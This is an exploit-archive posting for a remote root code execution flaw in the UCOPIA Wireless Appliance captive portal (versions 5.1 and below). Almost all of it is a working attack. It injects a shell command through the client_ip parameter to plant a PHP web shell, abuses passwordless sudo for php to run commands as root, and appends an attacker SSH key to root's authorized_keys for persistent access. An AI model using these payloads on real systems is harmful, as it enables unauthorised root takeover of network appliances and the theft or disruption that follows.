Exploit the possiblities

UCOPIA Wireless Appliance 5.1 Code Execution

UCOPIA Wireless Appliance 5.1 Code Execution
Posted Oct 5, 2017
Authored by agix

UCOPIA Wireless Appliance versions 5.1 and below suffer from a captive portal remote root code execution vulnerability.

tags | exploit, remote, root, code execution
MD5 | 030235cff7891b7fb5266503f44d6d01

UCOPIA Wireless Appliance 5.1 Code Execution

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# Exploit Title: Unauthenticated remote root code execution on captive portal Ucopia <= 5.1
# Date: 02/10/17
# Exploit Author: agix
# Vendor Homepage: http://www.ucopia.com/
# Version: <= 5.1
# Don't know in which version they exactly fixed it.
# When you connect to Ucopia wifi guest, every requests are redirected to controller.access.network

# First create easier to use php backdoor
https://controller.access.network/autoconnect_redirector.php?client_ip=127.0.0.1;echo%20'<?php system($_GET[0]);%20?>'>/var/www/html/upload/bd.php;echo%20t

# As php is in sudoers without password...
https://controller.access.network/upload/bd.php?0=sudo%20/usr/bin/php%20-r%20%27system("id");%27

# Just push your ssh key and get nice root access (ssh is open by default even from wifi guest)
https://controller.access.network/upload/bd.php?0=sudo%20/usr/bin/php%20-r%20%27system("echo%20ssh-rsa%20AAAA[...]%20>>%20/root/.ssh/authorized_keys");%27


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